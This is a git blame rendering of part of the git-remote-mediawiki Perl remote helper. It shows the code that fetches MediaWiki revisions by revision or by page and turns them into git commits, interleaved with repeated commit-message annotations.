|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
my $last_local = get_last_local_revision();
|
|
|
|
my $fetch_from = $last_local + 1;
|
|
|
|
if ($fetch_from == 1) {
|
2013-06-14 15:50:31 +02:00
|
|
|
print {*STDERR} ", fetching from beginning.\n";
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
} else {
|
2013-06-14 15:50:31 +02:00
|
|
|
print {*STDERR} ", fetching from here.\n";
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
}
|
|
|
|
|
2012-07-06 12:03:14 +02:00
|
|
|
my $n = 0;
|
2013-06-14 15:50:30 +02:00
|
|
|
if ($fetch_strategy eq 'by_rev') {
|
2013-06-14 15:50:31 +02:00
|
|
|
print {*STDERR} "Fetching & writing export data by revs...\n";
|
2012-07-06 12:03:14 +02:00
|
|
|
$n = mw_import_ref_by_revs($fetch_from);
|
2013-06-14 15:50:30 +02:00
|
|
|
} elsif ($fetch_strategy eq 'by_page') {
|
2013-06-14 15:50:31 +02:00
|
|
|
print {*STDERR} "Fetching & writing export data by pages...\n";
|
2012-07-06 12:03:14 +02:00
|
|
|
$n = mw_import_ref_by_pages($fetch_from);
|
|
|
|
} else {
|
2013-06-14 15:50:31 +02:00
|
|
|
print {*STDERR} qq(fatal: invalid fetch strategy "${fetch_strategy}".\n);
|
|
|
|
print {*STDERR} "Check your configuration variables remote.${remotename}.fetchStrategy and mediawiki.fetchStrategy\n";
|
2012-07-06 12:03:14 +02:00
|
|
|
exit 1;
|
|
|
|
}
|
|
|
|
|
|
|
|
if ($fetch_from == 1 && $n == 0) {
|
2013-06-14 15:50:31 +02:00
|
|
|
print {*STDERR} "You appear to have cloned an empty MediaWiki.\n";
|
2012-07-06 12:03:14 +02:00
|
|
|
# Something has to be done remote-helper side. If nothing is done, an error is
|
2013-04-12 00:36:10 +02:00
|
|
|
# thrown saying that HEAD is referring to unknown object 0000000000000000000
|
2012-07-06 12:03:14 +02:00
|
|
|
# and the clone fails.
|
|
|
|
}
|
2013-06-14 15:50:12 +02:00
|
|
|
return;
|
2012-07-06 12:03:14 +02:00
|
|
|
}
|
|
|
|
|
|
|
|
sub mw_import_ref_by_pages {
|
|
|
|
|
|
|
|
my $fetch_from = shift;
|
|
|
|
my %pages_hash = get_mw_pages();
|
|
|
|
my @pages = values(%pages_hash);
|
|
|
|
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
my ($n, @revisions) = fetch_mw_revisions(\@pages, $fetch_from);
|
|
|
|
|
2012-07-06 12:03:12 +02:00
|
|
|
@revisions = sort {$a->{revid} <=> $b->{revid}} @revisions;
|
2013-06-14 15:50:14 +02:00
|
|
|
my @revision_ids = map { $_->{revid} } @revisions;
|
2012-07-06 12:03:12 +02:00
|
|
|
|
2012-07-06 12:03:13 +02:00
|
|
|
return mw_import_revids($fetch_from, \@revision_ids, \%pages_hash);
|
|
|
|
}
|
|
|
|
|
2012-07-06 12:03:14 +02:00
|
|
|
sub mw_import_ref_by_revs {
|
|
|
|
|
|
|
|
my $fetch_from = shift;
|
|
|
|
my %pages_hash = get_mw_pages();
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
|
2012-07-06 12:03:14 +02:00
|
|
|
my $last_remote = get_last_global_remote_rev();
|
|
|
|
my @revision_ids = $fetch_from..$last_remote;
|
|
|
|
return mw_import_revids($fetch_from, \@revision_ids, \%pages_hash);
|
|
|
|
}
|
|
|
|
|
|
|
|
# Import revisions given in second argument (array of integers).
|
|
|
|
# Only pages appearing in the third argument (hash indexed by page titles)
|
|
|
|
# will be imported.
|
2012-07-06 12:03:13 +02:00
|
|
|
sub mw_import_revids {
|
|
|
|
my $fetch_from = shift;
|
|
|
|
my $revision_ids = shift;
|
|
|
|
my $pages = shift;
|
|
|
|
|
|
|
|
my $n = 0;
|
2012-07-06 12:03:14 +02:00
|
|
|
my $n_actual = 0;
|
2017-06-25 12:20:41 +02:00
|
|
|
my $last_timestamp = 0; # Placeholder in case $rev->timestamp is undefined
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
|
2013-06-14 15:50:36 +02:00
|
|
|
foreach my $pagerevid (@{$revision_ids}) {
|
2012-07-16 21:46:42 +02:00
|
|
|
# Count page even if we skip it, since we display
|
|
|
|
# $n/$total and $total includes skipped pages.
|
|
|
|
$n++;
|
|
|
|
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
# fetch the content of the pages
|
|
|
|
my $query = {
|
|
|
|
action => 'query',
|
|
|
|
prop => 'revisions',
|
|
|
|
rvprop => 'content|timestamp|comment|user|ids',
|
2012-07-06 12:03:12 +02:00
|
|
|
revids => $pagerevid,
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
};
|
|
|
|
|
|
|
|
my $result = $mediawiki->api($query);
|
|
|
|
|
2012-07-06 12:03:15 +02:00
|
|
|
if (!$result) {
|
2013-06-14 15:50:21 +02:00
|
|
|
die "Failed to retrieve modified page for revision $pagerevid\n";
|
2012-07-06 12:03:15 +02:00
|
|
|
}
|
|
|
|
|
2012-07-16 21:46:42 +02:00
|
|
|
if (defined($result->{query}->{badrevids}->{$pagerevid})) {
|
|
|
|
# The revision id does not exist on the remote wiki.
|
|
|
|
next;
|
|
|
|
}
|
|
|
|
|
2012-07-06 12:03:15 +02:00
|
|
|
if (!defined($result->{query}->{pages})) {
|
2013-06-14 15:50:30 +02:00
|
|
|
die "Invalid revision ${pagerevid}.\n";
|
2012-07-06 12:03:15 +02:00
|
|
|
}
|
|
|
|
|
2012-07-06 12:03:12 +02:00
|
|
|
my @result_pages = values(%{$result->{query}->{pages}});
|
|
|
|
my $result_page = $result_pages[0];
|
|
|
|
my $rev = $result_pages[0]->{revisions}->[0];
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
|
2012-07-06 12:03:12 +02:00
|
|
|
my $page_title = $result_page->{title};
|
2012-07-06 12:03:14 +02:00
|
|
|
|
|
|
|
if (!exists($pages->{$page_title})) {
|
2013-06-14 15:50:36 +02:00
|
|
|
print {*STDERR} "${n}/", scalar(@{$revision_ids}),
|
2013-06-14 15:50:30 +02:00
|
|
|
": Skipping revision #$rev->{revid} of ${page_title}\n";
|
2012-07-06 12:03:14 +02:00
|
|
|
next;
|
|
|
|
}
|
|
|
|
|
|
|
|
$n_actual++;
|
|
|
|
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
my %commit;
|
|
|
|
$commit{author} = $rev->{user} || 'Anonymous';
|
2012-07-16 14:00:47 +02:00
|
|
|
$commit{comment} = $rev->{comment} || EMPTY_MESSAGE;
|
2013-07-04 22:38:58 +02:00
|
|
|
$commit{title} = smudge_filename($page_title);
|
2012-07-06 12:03:12 +02:00
|
|
|
$commit{mw_revision} = $rev->{revid};
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
$commit{content} = mediawiki_smudge($rev->{'*'});
|
|
|
|
|
|
|
|
if (!defined($rev->{timestamp})) {
|
|
|
|
$last_timestamp++;
|
|
|
|
} else {
|
|
|
|
$last_timestamp = $rev->{timestamp};
|
|
|
|
}
|
|
|
|
$commit{date} = DateTime::Format::ISO8601->parse_datetime($last_timestamp);
|
|
|
|
|
2012-06-27 16:21:29 +02:00
|
|
|
# Differentiates classic pages and media files.
|
2012-07-04 14:53:36 +02:00
|
|
